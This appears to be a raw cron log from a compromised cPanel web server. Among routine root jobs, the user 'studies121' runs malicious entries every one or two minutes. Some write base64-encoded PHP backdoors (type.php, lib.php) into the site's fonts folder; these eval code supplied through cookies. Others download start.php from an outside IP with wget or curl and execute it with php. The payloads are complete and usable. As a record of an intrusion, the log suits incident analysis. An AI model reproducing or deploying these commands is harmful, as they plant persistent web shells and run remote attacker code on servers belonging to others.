Sep 12 18:25:01 ip-184-168-122-23 CROND[5667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:25:01 ip-184-168-122-23 CROND[5670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:25:01 ip-184-168-122-23 CROND[5672]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 18:25:01 ip-184-168-122-23 CROND[5675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:25:01 ip-184-168-122-23 CROND[5678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:25:01 ip-184-168-122-23 CROND[5679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:25:01 ip-184-168-122-23 CROND[5676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:26:01 ip-184-168-122-23 CROND[5776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:26:01 ip-184-168-122-23 CROND[5777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:26:01 ip-184-168-122-23 CROND[5779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:26:01 ip-184-168-122-23 CROND[5778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:26:01 ip-184-168-122-23 CROND[5781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:27:01 ip-184-168-122-23 CROND[5984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:27:01 ip-184-168-122-23 CROND[5983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:27:01 ip-184-168-122-23 CROND[5985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:27:01 ip-184-168-122-23 CROND[5986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:28:01 ip-184-168-122-23 CROND[6089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:28:01 ip-184-168-122-23 CROND[6092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:28:01 ip-184-168-122-23 CROND[6093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:28:01 ip-184-168-122-23 CROND[6091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:28:01 ip-184-168-122-23 CROND[6094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:29:01 ip-184-168-122-23 CROND[6184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:29:01 ip-184-168-122-23 CROND[6187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:29:01 ip-184-168-122-23 CROND[6186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:29:01 ip-184-168-122-23 CROND[6189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:30:02 ip-184-168-122-23 CROND[6279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:30:02 ip-184-168-122-23 CROND[6283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:30:02 ip-184-168-122-23 CROND[6284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:30:02 ip-184-168-122-23 CROND[6286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:30:02 ip-184-168-122-23 CROND[6285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:30:02 ip-184-168-122-23 CROND[6290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:30:02 ip-184-168-122-23 CROND[6291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:30:02 ip-184-168-122-23 CROND[6289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:31:01 ip-184-168-122-23 CROND[6401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:31:01 ip-184-168-122-23 CROND[6405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:31:01 ip-184-168-122-23 CROND[6406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:31:01 ip-184-168-122-23 CROND[6403]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:31:01 ip-184-168-122-23 CROND[6404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:32:01 ip-184-168-122-23 CROND[6580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:32:01 ip-184-168-122-23 CROND[6582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:32:01 ip-184-168-122-23 CROND[6583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:32:01 ip-184-168-122-23 CROND[6584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:32:01 ip-184-168-122-23 CROND[6585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:33:01 ip-184-168-122-23 CROND[6691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:33:01 ip-184-168-122-23 CROND[6692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:33:01 ip-184-168-122-23 CROND[6694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:33:01 ip-184-168-122-23 CROND[6695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:34:01 ip-184-168-122-23 CROND[6792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:34:01 ip-184-168-122-23 CROND[6794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:34:01 ip-184-168-122-23 CROND[6795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:34:01 ip-184-168-122-23 CROND[6796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:34:01 ip-184-168-122-23 CROND[6797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:35:01 ip-184-168-122-23 CROND[6899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6900]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6901]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:35:01 ip-184-168-122-23 CROND[6902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:36:01 ip-184-168-122-23 CROND[7008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:36:01 ip-184-168-122-23 CROND[7010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:36:01 ip-184-168-122-23 CROND[7012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:36:01 ip-184-168-122-23 CROND[7013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:36:01 ip-184-168-122-23 CROND[7011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:37:01 ip-184-168-122-23 CROND[7188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:37:01 ip-184-168-122-23 CROND[7190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
